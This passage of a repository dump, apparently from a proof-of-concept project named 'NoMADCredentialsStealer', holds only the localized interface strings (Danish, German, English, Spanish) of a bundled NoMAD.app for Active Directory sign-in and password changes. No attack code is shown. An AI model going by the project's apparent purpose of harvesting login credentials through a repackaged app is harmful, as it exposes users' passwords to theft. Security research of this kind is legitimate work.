"NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 9 | "LMe-nG-XUU.title" = "Ny adgangskode"; 10 | 11 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 12 | "Ww7-K2-Eg9.title" = "Skift adgangskode"; 13 | 14 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 15 | "hZV-66-IGD.title" = "Nuværende adgangskode"; 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | 2 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 3 | "1RW-ej-qej.title" = "Forny billet"; 4 | 5 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 6 | "3PC-dv-g1C.title" = "AD domæne"; 7 | 8 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 9 | "7Oh-A9-P92.title" = "Brug nøglering"; 10 | 11 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 12 | "F0z-JX-Cv5.title" = "Indstillinger"; 13 | 14 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 15 | "Kes-CY-FXH.title" = "Skabelon"; 16 | 17 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 18 | "Q7A-Jc-5cc.placeholderString" = "valgfri"; 19 | 20 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 21 | "Ufb-5N-kJA.title" = "Kerberos Realm"; 22 | 23 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 24 | "ZGq-je-gSa.ibShadowedToolTip" = "Navn på dit AD domæne"; 25 | 26 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 27 | "dUx-kM-pRM.placeholderString" = "virksomhed.dk"; 28 | 29 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 30 | "owP-RF-Kec.title" = "x509 CA"; 31 | 32 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 33 | "qpU-ge-el4.title" = "Sekunder"; 34 | 35 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 36 | "saW-aa-BZg.placeholderString" = "valgfri"; 37 | 38 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 39 | "tno-bN-cMD.placeholderString" = "valgfri"; 40 | 41 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 42 | "wDv-Uk-9vU.title" = "Vis hjemmemappe"; 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Bildschirm sperren 9 | comment 10 | Menüpunkt um den Bildschirm zu sperren 11 | 12 | SignIn 13 | 14 | value 15 | Anmelden 16 | comment 17 | Menüpunkt zum Anmelden 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in der Menüleiste der anzeigt, dass NoMAD die Domäne finden kann 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Nicht verbunden 30 | comment 31 | Text in der Menüleiste der anzeigt, dass NoMAD die Domäne nicht finden kann 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Passwort ändern 37 | comment 38 | Menüpunkt um das Passwort zu ändern 39 | 40 | UserName 41 | 42 | value 43 | Benutzername 44 | comment 45 | Vollständiger Benutzername. 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menüpunkt um das Software Portal zu öffnen. 51 | value 52 | Software installieren 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Hilfe anfordern 58 | comment 59 | Menüpunkt um Hilfeoptionen anzuzeigen. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Einstellungen 65 | comment 66 | Menüpunkt der das Einstellungsfenster öffnet. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Beenden 72 | comment 73 | Menüpunkt um NoMAD zu beenden. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menüpunkt um Kerberos tickets zu erneuern. 79 | value 80 | Tickets erneuern 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Anzeige für verbleibende Tage bis das Passwort abläuft 86 | value 87 | Passwort läuft ab in: %@ Tagen 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Passwort läuft nicht ab 93 | comment 94 | Menüpunkt wenn kein Ablaufdatum für das Passwort gesetzt ist. 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Passwort erfolgreich geändert. Hinweis: Es kann bis zu eine Stunde dauern bis das Ablaufdatum aktualisiert wird. 100 | comment 101 | Nachricht um den Benutzer zu informieren dass das Passwort efolgreich geändert wurde 102 | 103 | InvalidPassword 104 | 105 | value 106 | Ungültiges Passwort. Bitte erneut eingeben. 107 | comment 108 | Fehlermeldung wenn das Passwort inkorrekt eingegeben wurde 109 | 110 | InvalidUsername 111 | 112 | value 113 | Ungültiger Benutzername. Bitte erneut eingeben. 114 | comment 115 | Fehlermeldung wenn der Benutzername inkorrekt eingegeben wurde 116 | 117 | PasswordExpire 118 | 119 | value 120 | Passwort ist abgelaufen. Bitte das Passwort jetzt ändern. 121 | comment 122 | Fehlermeldung wenn das Passwort abgelaufen ist 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Passwort läuft bald ab! 128 | comment 129 | Nachricht wenn das Passwort bald abläuft 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Netzwerk-Passwort läuft ab am 135 | comment 136 | Netzwerk-Passwort läuft ab am <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | Neue Passwörter stimmen nicht überein. 142 | comment 143 | Fehlermeldung wenn neue Passwörter nicht übereinstimmen 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Netzwerk-Passwort und lokales Passwort stimmen nicht überein. Bitte geben Sie das Passwort für Ihren Mac ein. 149 | comment 150 | Fehlermeldung wenn Netzwerk- und lokales Passwort nicht übereinstimmen 151 | 152 | ValidCertificate 153 | 154 | value 155 | Gültiges Zertifikat bereits vorhanden. 156 | comment 157 | Benutzer hat bereits ein gültiges Zertifikat 158 | 159 | Cancel 160 | 161 | value 162 | Abbrechen 163 | comment 164 | Schaltfläche zum Abbrechen 165 | 166 | RequestAnyway 167 | 168 | value 169 | Trotzdem anfordern 170 | comment 171 | Schaltfläche um trotzdem ein Zertifikat anzufordern 172 | 173 | CertConnectionError 174 | 175 | value 176 | Verbindungsfehler. Stellen Sie sicher dass die URL für Ihre X509 CA korrekt ist und den SSL Zertifkaten vertraut wird. 177 | comment 178 | Nachricht wenn Zertifikatsstelle nicht erreicht werden kann 179 | 180 | CAConfigError 181 | 182 | value 183 | Bitte überprüfen Sie ob die Einstellungen für Ihre Zertifkatsstelle korrekt sind. 184 | comment 185 | Fehlermeldung wenn Zertifkatsstelle nicht gefunden werden kann 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | Kürzel für Tage 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Netzwerk-Benutzerzeichnis 198 | comment 199 | Menüpunkt um das Netzwerk-Benutzerzeichnis aus dem AD-Profil zu öffnen 200 | 201 | FileServers 202 | 203 | value 204 | Dateiserver 205 | comment 206 | Menüpunkt für Dateiserver 207 | 208 | Edit... 209 | 210 | value 211 | Bearbeiten... 212 | comment 213 | Menüpunkt zum Bearbeiten 214 | 215 | LoginWindow-OldPasswordLabel 216 | 217 | value 218 | Old Password 219 | comment 220 | Label for old password 221 | 222 | LoginWindow-PasswordLabel 223 | 224 | value 225 | Password 226 | comment 227 | Label for password 228 | 229 | NoMADMenuController-SmartcardSignIn 230 | 231 | value 232 | Smartcard Sign In 233 | comment 234 | PKINIT smartcard menu sign in 235 | 236 | NoMADMenuController-SignInWithSmartcard 237 | 238 | value 239 | Sign in with a Smartcard. 240 | comment 241 | PKINIT smartcard menu sign in tool tip 242 | 243 | NoMADMenuController-NotLoggedIn 244 | 245 | value 246 | Not logged in. 247 | comment 248 | User info for ticket life when not signed in 249 | 250 | NoMADMenuController-NotSignedIn 251 | 252 | value 253 | Not Signed In 254 | comment 255 | User info when not signed in 256 | 257 | NoMADMenuController-NoUser 258 | 259 | value 260 | No User 261 | comment 262 | User info when no user is available 263 | 264 | UserInformation-PasswordChanged 265 | 266 | value 267 | Password Changed 268 | comment 269 | Notification title when password changed 270 | 271 | UserInformation-PwdChangedSignInAgain 272 | 273 | value 274 | Your password was changed, please re-sign into NoMAD to update your password. 275 | comment 276 | Notification text asking to sign in again 277 | 278 | UserInformation-Ignore 279 | 280 | value 281 | Ignore 282 | comment 283 | Password change notification ignore button 284 | 285 | 286 | 287 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Anmelden"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Passwort ändern"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Anmelden"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Neues Passwort"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Benutzername"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Neues Passwort"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Passwort"; 21 | 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Netzwerk-Passwort ändern."; 3 | 4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 5 | "0IM-ZO-KLA.title" = "Passwort ändern"; 6 | 7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Den Bildschirm sperren."; 9 | 10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 11 | "3Pf-2O-qR7.title" = "Bildschirm sperren"; 12 | 13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 14 | "3yQ-ft-CVW.title" = "Einstellungen"; 15 | 16 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 17 | "A9U-v2-LiT.ibShadowedToolTip" = "Ablaufdatum des Zertifikats."; 18 | 19 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 20 | "A9U-v2-LiT.title" = "Zertifikatsablaufdatum"; 21 | 22 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 23 | "AlW-9M-CK2.ibShadowedToolTip" = "Ein Zertifikat anfordern."; 24 | 25 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 26 | "AlW-9M-CK2.title" = "Zertifikat anfordern"; 27 | 28 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 29 | "CUr-ED-n29.ibShadowedToolTip" = "Verbleibende Zeit bis das Passwort abläuft."; 30 | 31 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 32 | "CUr-ED-n29.title" = "Passwort läuft ab"; 33 | 34 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 35 | "QYf-mL-9ta.ibShadowedToolTip" = "Verbleibende Zeit bis das Kerberos Ticket abläuft."; 36 | 37 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 38 | "QYf-mL-9ta.title" = "Ticket Gültigkeitsdauer"; 39 | 40 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 41 | "Wa6-S1-lXm.ibShadowedToolTip" = "Anmelden mit dem Netzwerkaccount."; 42 | 43 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 44 | "Wa6-S1-lXm.title" = "Anmelden"; 45 | 46 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 47 | "XL2-b8-IwM.ibShadowedToolTip" = "Anmelden mit dem Netzwerkaccount."; 48 | 49 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 50 | "XL2-b8-IwM.title" = "Anmelden 2"; 51 | 52 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 53 | "fuo-5h-NuR.title" = "Software installieren"; 54 | 55 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 56 | "gM7-FQ-f0l.title" = "Beenden"; 57 | 58 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 59 | "kql-Bl-QJE.title" = "Hidden Item 1"; 60 | 61 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 62 | "pC8-5a-Aec.title" = "Logs speichern"; 63 | 64 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 65 | "rbx-v6-fJx.title" = "Hilfe anfordern"; 66 | 67 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 68 | "uQI-ol-UUw.ibShadowedToolTip" = "Netzwerk-Benutzername."; 69 | 70 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 71 | "uQI-ol-UUw.title" = "Benutzername"; 72 | 73 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 74 | "w1A-iF-wAU.ibShadowedToolTip" = "Vom Netzwerkaccount abmelden."; 75 | 76 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 77 | "w1A-iF-wAU.title" = "Abmelden"; 78 | 79 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 80 | "wcV-DA-kNE.title" = "Software und Hilfe"; 81 | 82 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Neues Passwort"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Passwort ändern"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Neues Passwort"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Passwort ändern"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Aktuelles Passwort"; 15 | 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/de.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Ticket erneuern"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "AD Domäne"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Schlüsselbund verwenden"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Einstellungen"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Vorlage"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "optional"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Kerberos Realm"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "Name der AD Domäne."; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "company.com"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Sekunden"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "optional"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "optional"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Benutzerverzeichnis anzeigen"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/en.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Lock Screen 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Sign In 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Not Connected 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Change Password 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | User Name 44 | comment 45 | User's full name 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Get Software 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Get Help 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Preferences 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Quit 72 | comment 73 | Menu item to quit NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu item to renew Kerberos tickets 79 | value 80 | Renew Tickets 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Long text for how many days until your password expires 86 | value 87 | Password expires in: %@ days 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Password does not expire 93 | comment 94 | menu item for when the password has no expiration date 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Password changed successfully. Note: it may take up to an hour for your password expiration time to be updated. 100 | comment 101 | message to let user know password changed successfully 102 | 103 | InvalidPassword 104 | 105 | value 106 | Invalid password. Please try again. 107 | comment 108 | error when password is wrong 109 | 110 | InvalidUsername 111 | 112 | value 113 | Invalid username. Please try again. 114 | comment 115 | error when username is wrong 116 | 117 | PasswordExpire 118 | 119 | value 120 | Your password has expired. Please reset your password now. 121 | comment 122 | error when password has expired 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Password about to expire! 128 | comment 129 | message when password is about to expire 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Your network password is about to expire on 135 | comment 136 | Your network password is about to expire on <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | New passwords don't match. 142 | comment 143 | error when new passwords don't match 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Your network and local passwords are not the same. Please enter the password for your Mac. 149 | comment 150 | error when network and local passwords do not match 151 | 152 | ValidCertificate 153 | 154 | value 155 | You already have a valid certificate. 156 | comment 157 | user already has a valid certificate 158 | 159 | Cancel 160 | 161 | value 162 | Cancel 163 | comment 164 | button for cancelling actions 165 | 166 | RequestAnyway 167 | 168 | value 169 | Request Anyway 170 | comment 171 | button to request anyway 172 | 173 | CertConnectionError 174 | 175 | value 176 | Connection error. Please ensure SSL certificates are trusted and the URL is correct for your X509 CA. 177 | comment 178 | message when Certificate Authority can't be reached 179 | 180 | CAConfigError 181 | 182 | value 183 | Please ensure your Certificate Authority settings are correct. 184 | comment 185 | error when CA can't be found 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | short form of days 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Home Sharepoint 198 | comment 199 | Menu item for opening up a user's home sharepoint from their AD profile 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Old Password 205 | comment 206 | Label for old password 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Password 212 | comment 213 | Label for password 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Smartcard Sign In 219 | comment 220 | PKINIT smartcard menu sign in 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Sign in with a Smartcard. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Not logged in. 233 | comment 234 | User info for ticket life when not signed in 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Not Signed In 240 | comment 241 | User info when not signed in 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | No User 247 | comment 248 | User info when no user is available 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Password Changed 254 | comment 255 | Notification title when password changed 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Your password was changed, please re-sign into NoMAD to update your password. 261 | comment 262 | Notification text asking to sign in again 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignore 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Bloquear pantalla 9 | comment 10 | Item del menú para bloquear la pantalla 11 | 12 | SignIn 13 | 14 | value 15 | Iniciar sesión 16 | comment 17 | Item de menu para iniciar sesión 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Texto en la barra de menu para mostrar que NoMAD no puede encontrar el dominio 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Sin conexión 30 | comment 31 | Texto en la barra de menu para mostrar que NoMAD no puede encontrar el dominio 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Cambiar contraseña 37 | comment 38 | Item del menú para cambiar contraseña 39 | 40 | UserName 41 | 42 | value 43 | Nombre de usuario 44 | comment 45 | Nombre completo de usuario 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Item del menu para abrir el portal de aplicaciones. 51 | value 52 | Obtener aplicación 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Obtener ayuda 58 | comment 59 | Item del menu para abrir las opciones de soporte 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Preferencias 65 | comment 66 | Item del menu para abrir la venta de preferencias. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Cerrar 72 | comment 73 | Item del menu para cerrar NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Item del menu para renovar los tickets de Kerberos 79 | value 80 | Renovar tickets 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Texto largo para cuántos días quedan para caducar la contraseña 86 | value 87 | La contraseña caduca en: %@ días 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | La contraseña no caduca 93 | comment 94 | item del menu para cuando las contraseñas no tiene fecha de caducidad 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Cambio de contraseña correcto. Nota: podría tomar hasta una hora para que la fecha de caducidad de tu contraseña sea actualizada. 100 | comment 101 | mensaje para permitir al usuario conocer el cambio correcto de contraseña 102 | 103 | InvalidPassword 104 | 105 | value 106 | Contraseña incorrecta. Por favor prueba de nuevo 107 | comment 108 | error cuando la contraseña es incorrecta 109 | 110 | InvalidUsername 111 | 112 | value 113 | Nombre de usuario incorrecto. Por favor prueba de nuevo 114 | comment 115 | error cuando el nombre de usuario es incorrecto 116 | 117 | PasswordExpire 118 | 119 | value 120 | Tu contraseña ha caducado. Por favor restablece tu contraseña ahora 121 | comment 122 | error cuando la contraseña ha caducado 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | ¡Contraseña a punto de caducar! 128 | comment 129 | mensaje cuando tu contraseña está a punto de caducar 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Tu contraseña de red está a punto de caducar 135 | comment 136 | Tu contraseña de red está a punto de caducar en <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | Las nuevas contraseñas no coinciden. 142 | comment 143 | error cuando las nuevas contraseñas no coinciden 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Tus contraseñas de red y local no son la misma. Por favor introduce la contraseña para tu Mac 149 | comment 150 | error cuando las contraseñas de red y local no coinciden 151 | 152 | ValidCertificate 153 | 154 | value 155 | Ya tienes un certificado valido 156 | comment 157 | el usuario ya tiene un certificado valido 158 | 159 | Cancel 160 | 161 | value 162 | Cancelar 163 | comment 164 | botón para cancelar acciones 165 | 166 | RequestAnyway 167 | 168 | value 169 | Solicitar de todos modos 170 | comment 171 | botón para solicitar de todos modos 172 | 173 | CertConnectionError 174 | 175 | value 176 | Error de conexión. Por favor asegurate que los certificados SSL son de confianza y la URL para tu CA X509 sea correcta. 177 | comment 178 | mensaje cuando la Autoridad Certificadora no es alcanzable 179 | 180 | CAConfigError 181 | 182 | value 183 | Por favor asegurate que los ajustes de tu Autoridad Certificadora son correctos. 184 | comment 185 | error cuando la CA no se encuentra 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | forma corta para días 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Carpeta de usuario compartida en red 198 | comment 199 | Item del menu para abrir la carpeta de usuario compartida en red de su perfil de AD 200 | 201 | 